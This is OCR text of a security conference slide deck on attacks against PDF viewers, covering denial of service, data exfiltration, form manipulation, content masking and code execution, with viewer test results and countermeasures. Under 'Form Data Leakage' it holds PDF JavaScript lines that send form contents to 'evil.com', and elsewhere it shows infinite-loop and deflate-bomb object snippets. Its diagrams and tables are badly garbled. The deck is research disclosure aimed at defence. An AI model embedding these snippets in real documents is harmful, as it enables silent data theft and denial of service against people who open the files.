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The Portable Document Format

“De facto standard for electronic exchange of documents” -- Adobe
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250 BILLION
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PDF-2.0 99 /0
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Basics: PDF Structure

%PDF-1.7 } Header

1 0 obj Catalog

/Pages 2 OR

ietainiatateiniatele — Body
'» 4 0 obj stream

,Hello world!“

XRef
Table

x
LR
\_Y_H

trailer

/Root 10 R Trailer




Related Work

PDF Encryption: [Mueller2019] ‘

PDF Signatures: [Mladenov2019] ‘

PDF Metadata: [Alonso2008] ‘

‘ PDF Redaction: [Garfinkel2013] ‘

PDF Polyglots: [Albertini2014] ‘

GIF89a...

%PDF-1.7

1 0 obj Catalog

/Pages 2 0 R

» 4 0 obj stream

,Hello world!“

trailer

/Root 10 R

} <1023 bytes

} Header

— Body

XRef
Table

Trailer



Basics: PDF Actions

e Standard feature used for various purposes
— Open hyperlink, go to a certain page, etc.
— Even JavaScript is an action

* Various events that trigger actions
— on open/close/print, etc.

* Target of actions: PDF File Specification



PDF Reference

sixth edition






/AA

Launch

——{ Annotation ]

}_

/AA JAA —>| /Names
e
—>| /OpenAction }—
Call Action — >

/

A

y

Thread [ GoToE ] [ GoToR ] [ ImportData ] [SubmitForm ] URI

Java
Script

A
%

| Embedded File | [ Local File |

[ URL ] [ Network Share ]

Events

Actions

Targets



Attacker Model

* Victim opens malicious PDF document
e Bad things happen (attack-dependent)
* No user interaction required
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Infinite Loop



Infinite Loop

%PDF-1.7 Header ,
_________________________ } 2 0 obj
10 obj Catalog << /Type /Pages
/Pages20R /Kids [3 0 R]
SRR ' — Body >>
'» 4 0 obj stream endobj
,Hello world!“
1 | XRef e
Table An array of indirect references to
““‘_‘l ““““““““““ immediate children of this node.
trater i The children may be page objects
10R ratier
/Root o other page tree nodes. y




Infinite Loop

%PDF-1.7 Head .
_________________________ - Header IR <3 P ——
10 obj Catalog << /Type /Pages |
/Pages20R /Kids [2 0 R]--
moooooee : — Body >>
'» 4 0 obj stream endobj
,Hello world!“
| 1 XRef
xref
e ————— } Table 2
CVE-2007-0104
Trailer

/Root10R




Action loop — PDF actions allow to specify a /Next action.

5 0 obj
<< /Type /Action
/S /GoTo
/Next 5 0 R
>>
endob]




ObjStm loop — Object streams may extend other ObjStmes.

5 0 obj
<< /Type /ObjStm
/Extends 5 0 R
>>
stream
endstream
endob]




Outline loop — PDF outline entries can refer to each other.

5 0 obj
<< /Type /Outlines
/First << /A << /First 5 0 R >> >>
>>
endob]




Calculations — PDF defines PS/Type 4 calculator functions.

5 0 obj

<< /FunctionType 4 >>
stream
{/£ {£f} def £}
endstream
endob]




JavaScript — Scripting can be used to create endless loops.

5 0 obj
<< /Type /Action
/S /JavaScript
/JS (while (1) {})
>>
endob]




Deflate Bomb



Deflate Bomb

%PDF-1.7

e Zip bombs are well known 10 obj Catalog
/Pages 2 OR
e Streams can be compressed .

. 4 0 obj stream
* Viewers must decompress ——

to display the content e

v

trailer

/Root10R




Deflate Bomb

4 0 obj
<< /Length 50
>>
stream
BT /F1 22 Tf 30 800 Td
(Hello World...) T3j ET
endstream




Deflate Bomb

4 0 obj disk: 10 GB
<< /Length 10737418240 mem: 10 GB
>>

stream 0| -
BT /F1 22 Tf 30 800 Td ratio:
(AAAAAAAAAAA...) T3 ET 1-1

endstream




Deflate Bomb

4 0 obj disk: 10 MB
<< /Filter [/FlateDecode] .
mem: 10 GB
/Length 10436259
>> ) TTTTTTmm TS
stream ratio:
789cecdc3d?2e84011480dlof. .. 1:1023

endstream




Deflate Bomb

4 0 obj disk: 16 KB
<< /Filter [/FlateDecode
mem: 10 GB
/FlateDecode]
/Length 16757 | | -
~7 ratio:
stream .
789 ceddabd485361llcc/f1b3. .. ]“64{L772
endstream




Deflate Bomb

4 0 obj disk: 578 B
<< /Filter [/FlateDecode mem: 10 GB
/FlateDecode
/FlateDecode] | | ~~~~~°T0TTTTTTTC
/Length 578 ratio:
”2 1:18,576,848
stream
789c014202bdfd789ceddabd. ..
endstream
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URL Invocation



Launch Thread

—{ Annotation |
/AA /AA /AA —» /Names  |—
-
—PL /OpenAction }—
Call Action [— .Y

/

A

y

[ GoToE ] [ GoToR ] [ ImportData ] [SubmitForm ]

JavaScript
RI P

Compare
[Filiol2008]

| Embedded File ] [ Local File )

[ Network Share ]
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Launch Thread

—{ Annotation |
/AA /AA /AA —» /Names  |—
-
—PL /OpenAction }—
Call Action [— .Y

/

A

y

[ GoToE ] [ GoToR ] [ ImportData ] [SubmitForm ]

JavaScript
RI P

Compare
[Filiol2008]

| Embedded File ] [ Local File )

[ Network Share ]
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—{ Annotation |
/AA /AA /AA L[ /Names -
[ /A -
| /OpenAction
Call Action [— P
Launch Thread [ GoToE ] [ GoT‘cﬁ Impo‘r'tData ] [SubmitForm ] RI JavaScript

| Embedded File ] [ Local File )

[ Network Share ]
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JAA JAA JAA —>| /Names }—
—>| /Contents :_— _>| /AA }_
—>| /OpenAction

o —<

JavaScript

[ GoToE ] [ GoToR ] [ ImportData ] [SubmitForm ]

—{ /url |

!

[ Embedded File ] [ Local File ] [ Network Share ]
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e

hR

| Embedded File ] [ Local File )

| Network Share |
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r( Annotation |

' elan ] (/A ] [ /Names ]
(i T
‘ ‘ ‘/OpenActionI [

URL invocation 1n
[—[ Launch | ( Thread | ( GoTl 16 Of 28 V\QWerS ) (R JavaScript

[t ]
[Zoven (o}

| Embedded File | | LocalFile | [ URL ] [ Network Share |




Form Data Leakage



Form Data Leakage

* |dea: victim obtains
modified PDF form

e Attacker silently
exfiltrates data



/AA

—{_catalog |
/AA —» /Names  |——
T e
> /OpenAction |—

|

[ GoToE ] [ GoToR ] [ ImportData ]

L
i

[ Local File ) | Network Share |
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—{ Annotation | —{ Catalog |

T e, e }—
N TTa— [
> /OpenAction |—

value = this.getAnnots () [0].contents;

this.submitForm ({cURL: "http://evil.com/"});

this.getURL ("http://evil.com/"+value) ;

app.launchURL ("http://evil.com/"+value) ;
app.media.getURLData ("http://evil.com/"+value, "audio/mp3");
SOAP.connect ("http://evil.com/"+value) ;

SOAP.request ({cURL:"http://evil.com/"+value, oRequest:{}, cAction:""});
this.importDataObject ("file", "http://evil.com/"+value) ;

app.openDoc ("http://evil.com/"+value) ;

41



Local File Leakage



Local File Leakage

e Goal: exfiltrate arbitrary files on disk
to attacker by chaining PDF features



—{ Annotation |

/AA /AA /AA —» /Names  |—
e
——| /OpenAction |—

y _ .

Call Action » <

.

Launch Thread [ GoToE ] [ GoToR ] [ ImportData ] [SubmitForm] URI

| Embedded File | | LocalFile ] [ URL) [ Network Share |

JavaScript




A submit-form action transmits the names and values of selected
interactive form fields to a specified uniform resource locator

The field's text is held in a text string (or, beginning with PDF 1.5, a stream)

3.2.7 Stream Objects
beginning with PDF 1.2, the bytes may be contained in an external file

File

[ Embedded File ] [ Local File ] [URL} [ NetworkShare]

45




Credential Theft



Credential Theft

e Offline cracking
— NTLMv2: modern GPU requires 2,5h for eight chars

— NTLMv1, LM: considered broken [Marlinspike2012]

* Pass-the-hash or relay attacks

— Compare [Ochoa2008, Hummel2009]
— Depending on Windows security policy



Credential Theft




e

hR

| _Embedded File ] [ LocalFile ] [ URL )
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Form Modification



Form Modification

* |dea: victim obtains
modified PDF form

e Attacker silently
manipulares data
(e.g., on printing)



—{ Annotation |

/AA /AA /AA —»| /Names —
[ AA il print |
—>| /OpenAction }—

‘ T \ 4

Call Action y —<

— ,

[ GoToE ] [ GoToR ] [ ImportData] [SubmitForm ]

JavaScript

L

File

[ _Embedded File | [ Local File ) | Network Share |




—{ Annotation |

/AA JAA /AA

]

/Names }—

\-
O
]
)
S
>
2}
y o
5

[ GoToE ] [ GoToR ] [ ImportData ] [SubmitForm ]

L

old value = getAnnots () [1].contents;
getAnnots () [1] .contents = "new value";
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—{ Annotation |
JAA JAA JAA —>| /Names }—

i

—>| /OpenAction }—

[ GoToE ] [ GoToR ] [ ImportData ] [SubmitForm ]

L

getAnnots () [1] .contents = old value;
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File Write Access



(e ) -
- s

Launch Thread [ GoToE ] [ GoToR ] [ ImportData]

[ Embedded File ] [URL] [ Network Share ]
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—{_Field ]
—lm

I

this.
this.
this.
this.
this.

exportAsFEDF (false, true,

exportAsXFDF (false, true,

"file.fdf");
"file.xfdf")

exportAsText (true, "file.txt");

exportDataObject ({cName:

"file.pdf"});

exportXFAData ({cPath:

"file.xdp"}) ;s

this.extractPages ({cPath: "file.pdf"});

| Embedded File |

[ URL ) [ Network Share |

58



Content Masking



Content Masking

%PDF-1.7 :}-Header

Spec ambiguities

1 0 obj Catalog

/Pages 2 0R
. ! — Body
w40 obj stream
,Hello world!“
XRef
xref
e —— Table
trailer
Trailer

/Root 1 0R




Content Masking

Spec ambiguities
 PDF confusion

%PDF-1.7

1 0 obj Catalog

/Pages 2 0R

4 0 obj stream

Vo

,Hello world!“

trailer

/Root 1 0R

]» Header

—_

— Body

XRef
Table

=

Trailer



Content Masking

]» Header

Spec ambiguities
e PDF confusion
e Doc confusion

Vo

%PDF-1.7

1 0 obj Catalog

/Pages20R

4 0 obj stream

,Hello world!“

trailer

/Root10R

—_

— Body

e

XRef
Table

Trailer



Content Masking

]» Header

Spec ambiguities
 PDF confusion

e Doc confusion
* Object confusion

%PDF-1.7

1 0 obj Catalog

/Pages 2 0R

w40 obj stream

,Hello world!“

trailer

/Root 1 0R

—_

— Body

e

XRef
Table

Trailer



Content Masking

]» Header

Spec ambiguities
* PDF confusion
* Doc confusion
* Object confusion
* Content streams

%PDF-1.7

1 0 obj Catalog

/Pages 2 0R

w40 obj stream

,Hello world!“

trailer

/Root 1 0R

—_

— Body

e

XRef
Table

Trailer



Content Masking

Spec ambiguities
* PDF confusion
* Doc confusion
* Object confusion
* Content streams
* Stream syntax

%PDF-1.7

1 0 obj Catalog

/Pages 2 0R

4 0 obj stream

Vo

,Hello world!“

trailer

/Root 1 0R

]» Header

—_

— Body

XRef
Table

Trailer

e



Content Masking

Application Al A3 A4 A5 Bl C1 C2 €3 €4 C6 €7 C§ CX DI D2 D4 E3 E4 F1 F3 Gl G3 H2 H3 HS H6 13 J1 Kl K4 K5 K6 K7 K§ M3 M4 NI N2 N3 N4 N5 Pl P3 P4 P6 P7 P§ PO PX Q1 Q2 Q3 Q4 Q5 Q6 Q7 Q8 Q9 QX
Acrobat Reader/Pro

Foxit Reader

Foxit PhantomPDF

PDF-XChange Viewer 4 0 Obj

PDF-XChange Editor
Nitro Reader/Pro
Nuance Power PDF
Soda PDF Desktop
PDF Architect

Poppler (Evinee/Okular)
Chrome

Firefox

Opera

Perfect PDF Reader
Perfect PDF Premium
FDF Studio Viewer/Pro
iSkysoft PDF Ediwor
Master PDF Editor
PDFelement

Preview

Skim

MuPDF

<< /Length 200 >>

stream

q 0.2 0.4 1 rg 00 595 842 re F Q BT /F1 22 Tf 30 800 Td (This is the 1lst stream part) Tj ET

endstream

q10.30.3rg0 0 595 842 re F Q BT /F1 22 Tf 30 800 Td (This is the 2nd stream part) Tj ET

endstream
endobj

J

First text being displayed 2 Second text being displayed — No text being displayed

TABLE VI
DETAILED RESULTS FOR THE CONTENT MASKING CLASS OF ATTACKS.



Content Masking

Application

Al A3 A4 AS

Bl C1 C2 C3 C4 Co C7 C8 CX DI D2 D4 E3 E4 F1 F3 Gl G3 H2Z H3 H5 He I3 J1 Kl K4 K5 K6 K7 K8 M3 M4 NI N2 N3 N4 N5 Pl P3 P4 P6 P7T P8 PO PX Q1 Q2 Q3 Q4 Q5 Q6 Q7 Q8 Q9 QX

Acrobat Reader/Pro
Foxit Reader
Foxit PhantomPDF

N

PDF-XChange Viewer : 4 0 Obj
PDF-XChange Editor | 2
Nitro Reader/Pro 2 << |/Length 200|>>
Nuance Power PDF 2
Soda PDF Deskiop 2 stream
Poppler (Bvinec/Okutar) | 2 g 0.2 0.41rg 00 595 842 re F Q BT /F1 22 Tf 30 800 Td (This is the lst stream part) Tj ET
o endstream
DPe DF Reader 7 g1 0.30.3rg0 0 595 842 re F Q BT /F1 22 Tf 30 800 Td (This is the 2nd stream part) Tj ET
Pesfect PDF Premium | | endstream
PDF Studio Viewer/Pro 1
iSkysoft PDF Editor 1 endobj
Master PDF Editor I ‘
PDFelement I
Preview 1
Skim I
MuPDE I
s I
Edge 1

| First text being displayed 2 Second text being displayed — No text being displayed

TABLE VI

DETAILED RESULTS FOR THE CONTENT MASKING CLASS OF ATTACKS.



Content Masking

Gl G3 HZ H3 H5 He I3 J1 Kl K4 K5 K6 K7 K8 M3 M4 NI N2 N3 N4 N5 Pl P3 P4 Po P7

-
o

Application Al A3 A4 AS Bl C1 C2 C3 C4 Co C7 C8 CX DI D2 D4 E3 E4 Fl POPX QI Q2 Q3 Q4 Q5 Qo Q7 Q8 Q9 QX

3

Acrobat Reader/Pro 2 2 1 1 1 1 1 11 1 2 2 2 2 1 2 2 2 1 2 2 2 1 2 2 2 1 1 1 2 2 2
Foxit Reader 202 2 1 2 1 1 [ 12 2 2 2 2 2 2 1 1 1 1 1 L e 1 221 1 1 [N | 2 2 2 2 2 2 2 2 2 1 1 1 1
Foxit PhantomPDF 2 2 2 1 2 1 1 1 1 1 1 1 1 2 2 2 2 2 2 2 1 1 1 1 1 1 Lo 1 2 1 2 2 2 1 2 2 2 1 1 1 1 1 2 2 2 2 2 2 2 2 2 1 1 1 1
202 2 2 2 1 1 11 1 1 1 1 2z 2 2 22 2 2 22 11 2 1 2 1 211 2 1 2 2 2 2 2 2 1 2 2 2 1 12 2 2 2 2 2 2 2 2 2 2 2 2 2
2 2 2 1 2 2 1 12 1 1 2 1 2 2 2 2 22 2 2 2 1 2 1 21 2 2 1 2 2 2 1 2 2 1 2 2 2 1 2 22 2 2 2 2 2 2 2 2 2 2 2
2 2 2 1 2 2 2 2 2 2 2 2 2 22 2 2 2 12 2 11 1 I O | S B ) 1 1z 1 2z 2 2 1 2 2 2 2 2 2 2 2 2 2
Nuance Power PDF 2 2 1 1 [N | [ oz 2 2 1 1 1 2 1 1 2 2 2 2 1 1 1 1 1 1 1 1z 1z 2 Iz 1 2 2 2 2 2 2 2 2 2 2 2 2 2 2
Soda PDF Desklop 2 02 2 1 2 2 1 12 1 1 2 1 2 2 2 2 11 11 1 1 1 121 1 1 1 1 1 12 2 1 12 2 2 1 1 11 1 1 1 1 1 1 1 1 1 1 1
PDF Architect 2 2 2 1 2 2 1 12 1 1 2 1 2 2 2 2 11 11 1 1 1 121 1 1 1 1 1 12 2 1 12 2 2 1 1 11 1 1 1 1 1 1 1 1 1 1 1
Poppler (Evinee/Okulary | 202 2 1 2 1 1 1 2 2 2 2 1 2 2 2 21 2 2 2 2 2 2 2 1 2 2 2 2 2.2 2 2 2 2 2
Chrome 202 2 1 1 1 1 [ 12z 2 202 12 1 1 1 1 1 e e 1 20201 1z 2 1 1 1 22 2 2 2 1 2 2 1 1 1 1
Firefox 2 02 2 1 2 1 1 11 1 1 1 1 2 2 2 2 2 1 2 1 1 1 2 2 2 1 1 2 2 2 2.2 2 2 2 2 2
Opera 202 2 1 2 1 1 11 1 1 1 1 2 2 2 2 2 2 2 1 1 1 1 1 L e e 1 20201 12 2 1 1 1 22 2 2 2 2 2 2 2
Perfect PDF Reader 1 12 N T - 1 1 1 111 2 2 1 2 1 1 1 121 1 1 1 2 2 2 21 2 2 2 1 2 2 2 2 2
Perfect PDF Premium 1 1z 1 2z 1 1 2 1 1 2 1 1 1 1 12z 1 2 2 1 2 1 1 1 121 1 1 12 2 2 21 202 1 2 2 2 2
FDF Studio Viewer/Pro 1 2 2 1 2 2 2 2 2 2 2 2 2 2 1 1 1 1 1 1 1 1 1 1 1 2 2 2 1 2 2 2 1 1 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2
iSkysoft PDF Editor 1 12 1 2 1 1 11 1 1 1 1 1 1 1z 2 2 2 1 1 1 1 1 L e 1 2201 12 2 1 1 1 2 2 2 2 2 2 2 2 2 2 1 1 1 1
Master PDF Editor 1 12 1 2 1 1 11 1 1 1 1 1 1 12 2 2 2 1 1 1 1 1 111 2 1 2 2 2 1 202 1 12 2 1 1 1 2 2 2 2 2 2 2 2 2 21 1 1 1
PDFelement 1 12 1 2 1 1 11 1 1 1 1 1 1 12z 2 2 2 1 1 1 1 1 L e e 1 20201 12 2 1 1 1 2 2 2 2 2 2 2 2 2 2 1 1 1 1
Preview 12 2 1 2 1 1 1 2 2 2 2 1 2 2 2 1 2 2 2 2 2 2 1 2 2 2 2 2 2 2 2 2 2 2
Skim 12 2 1 2 1 1 1 2 02 2 2 1 2 2 2 1 2 2 2 2 2 2 1 2 2 2 2 2 2 2 2 2 2 2
AuPDF 12 2 1 2 2 1 12 1r 12z 1 2 2z 2 2 2 1 1 1 2 2 210z 1 1z 2 2 1 1z 1 2z 2 2 1 1 1 2 2 2 2 1 1 1 12 2 1 1 1 1
12 2 1 2 1 1 1 2 02 2 2 1 2 2 2 1 2 2 2 2 2 2 1 2 2 2 2 2 2 2 2 2 2 2
1 [ 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 1 12 1 2 2 2 22 222 2 2 2 2 2 2 2 2 2 2 2

| First text being displayed 2 Second text being displayed — No text being displayed

TABLE VI
DETAILED RESULTS FOR THE CONTENT MASKING CLASS OF ATTACKS.



Content Masking

Application Al A3 A4|AS|Bl C1|C2|C3 C4|C6|CT C8|CX|Dl D2 D4 E3 E4 Fl H2 |H3|HS [H6|13|11 |[KI K4 K5 K6 K7 K8 M3 M4 NI N2 N3 N4 N5 Pl P3 P4 Po|P7|P8 [P0 [PX [QI Q2 Q3 Q4 |Q5|06|Q7 Q8 Q9 QX
Acmbat Reader/Pro 2 2 1|1 1] 1 1|2 2 2 2 1 2|2 2 1 202 02 1 2 2 2 1 1 1 22 2|2
Foxit Reader 2 02 2 12 vt v o122 02 2 2 22|11ttt o2 12 2 2 1 2 2 1 1 1 1 11 2lafafz)z 2 2 20221 1 1 1
Foxit PhantomPDF 2 2 2 2 1 1 1 1 1 1 1 1 2 2 2 2 2 2 2 1 1 1 1 1 1 1 1 1 2 1 2 2 2 1 2 2 2 1 1 1 1 1 2 2 2 2 2 2 2 2 2 2 1 1 1 1
2 2 2 2ot |t o2 o2 2 2 2 22l 10 22|12l o2 1 2 2 2 2 2 2 1 2 2 2 1 12 2l2f2f2]2 2 2 22|22 2 2 2
2 2 2 221 2] o212 o2 o2 2 20202 2 2121 f2{1]2 2 1 2 2 2 1 2 2 1 2 2 2 1 2 2022022 2 2 2(2(|2|2 2 2 2
2 2 2 2 232 222 2202 2 2 2 1 2({2|1 1 1 Lzl o122 2 1 12 1 2 2 2 2|2 2 202022 2 2 2
Nuance Power PDF 2 02 1 O O T O O T T T S S U SRS O A0 IR S 2 2 L1111 11 121 2 2 2 12 2020222 2 2 2]2]2]2 2 2 2
Soda PDF Desktop 2 2 2 2 o211 2| 212 2 2 2 (0 T I T T T O T T T T T T AN S - N N SO SN S S S SO SN 0 T B A A T O o A R A B
PDF Architect 2 2 2 2 o211 2|1 212 2 2 2 (0 1 0 T T T T T T T T T T AN TS A - S N TN - N S T N O [ 1 10 0 A 0 A T A A 0 (O A A S B
Poppler (Evinee/Okular) | 2 2 2 20 1 1 2 02 2 2 1 2|2 2 201 2 2 2 2 2 2 2 1 2 2 2 2 2zlzz2]212 2 202
Chrome 2 2 2 F I U O O O I O O U T = 2oz2f2fr 0 v o2 12 2 2 1 2 2 1 12 2 1 1 1| z|afz2fzf2]2 2 2z 202021 1 1 1
Firefox 2 2 2 S T O T T I T R S B S A 1 1 1 2 02 2 T T T 2laf2f2]2 2 2|2
Opera 2 2 2 2or 1 1|t v fr2 o2 2 2 2 2|21 0 t|1|v|1f1f1|1 2 1 2 2 2 1 2 2 1 1 2 2 1 1 1|z2|2|2]{2]2]2 2 2z 2|2|2
Perfect PDF Reader 112 T T O O S T T T T T TN S e - N U T - AU A T TR B 21 2 2 112 2 2 2 2 2
Pefect PDF Premium. | 1 1 2 | 1|2 1|1 |2 1|12 1|01 1 1 2 1 221 2 1|1|1 1|2/t 1 1 2 2 2 20 22 2 2 2 2|2
PDF Studio Viewer/Pro 1 2 2 1 2 2 2 2 2 2 2 2 2 2 1 1 1 1 1 1 1 1 1 1 1 2 2 2 1 2 2 2 1 1 20 2] 2 2 2 2 2 2 2 2 2 2 2 2 2 2
iSkysaft PDF Editor 1ot o2tz e e oo o2 2 22| o1 |ty o2 o102 2 2 1 2 2 1 1 2 2 1 1 a2z afafzlz o2 o2 22|21 1 o1 1
Master PDF Editor T T T S T T T T T T T S - S Y T T T A T T T T N S S AN S~ SN TN - SO SN TN WO O 0 S T I S S S T A B S B
PDFelement 1ot o212 v v oot o2 2 2|z o1t fr |ty o2 12 2 2 1 2 2 1 1 2 2 1 1 1|2{z{2af2f2z]z 2 2 20221 1 1 1
Preview 12 o212 I I 2 02 2 2 1 2|2 2 1 202 2 2 2 2 1 2 2 2 22222 2 2|2
Skim 12 212 I I 2 02 2 2 1 2|2 2 1 202 2 2 2 2 1 2 2 12 22222 2 2|2
LuPDF 12 2|12 2011 2]t 212 2 2 2 2 2(2|1 1 2 2 iz o1 1 2 2z 2 1 1 2 1 2 2 1 1 1 1 O I I R T S N A N T O O
12 2012 1 1 1 2 02 2 2 1 2 2 1 202 02 2 2 2 1 2 12 12 2lafzz2]2 2 2 2|2
112 2 2 02 2 2 2 2|2|2 2 2 02 2 2 2 2 1 1 2 1 2 2 12 22 222222 2 2 2]2]2]2 2 2 2

| First text being displayed 2 Second text being displayed — No text being displayed

TABLE VI
DETAILED RESULTS FOR THE CONTENT MASKING CLASS OF ATTACKS.
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Launch Action



Code Execution

e Launch Action:

A launch action launches an application
or opens or prints a document.

 PDF has “code execution by design”



Thread

i e

}_

[ GoToE ] [ GoToR ] [ ImportData ] [SubmitForm ] URI

- [fogEn]—

JavaScript

[URL] [ Network Share ]
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Attack Category DoS Information Disclosure Data Manipulation RCE
Aoplication Infinite  Deflate URL Form data  Local file  Credential Form File write Content Code
pp loop bomb invocation leakage leakage theft modification access masking execution
Acrobat Reader DC O

Foxit Reader
PDF-XChange Viewer
Perfect PDF Reader
PDF Studio Viewer
Nitro Reader

Acrobat Pro DC
Foxit PhantomPDF
PDF-XChange Editor
Perfect PDF Premium
PDF Studio Pro

Nitro Pro

Nuance Power PDF
iSkysoft PDF Editor
Master PDF Editor
Soda PDF Desktop
PDF Architect
PDFelement

Windows

Preview
Skim

Evince
Okular
MuPDF

Linux |Mac

Chrome
Firefox
Safari
Opera
Edge

Web

O®0O®® 000 00 0000000000000 0000

O0®000 | 000 00 00000 00000000000
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O0000|000|00000®0e00®e0000®e00
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elojololeliclolelelo)Nolololelelolelele] lo] lelelel o )

00000 | 000 |0O0I00Oe0000OeOO00O0000

ololololorivlelerieloliel ] ool 1 Jololelee] Jolel Jole)

@ Application vulnerable
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o
o
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o
O
O
o
O
O
O
O
O
O
O
O
o
O
O
[ 4
O
O

Vulnerability limited

O Not vulnerable

& 00000 |®@®® | 00| 00000000000 ee0000




Countermeasures

* Eliminating specification ambiguities
* Resource limitation and sandboxing
* Removing or restricting JavaScript

* |dentification of dangerous paths




Black Hat Sound Bytes

 PDF is a complex format
e Standard is full of pitfalls
* Logic chain RCE in 2020 :)

Exploits: https://github.com/RUB-NDS/PDF101




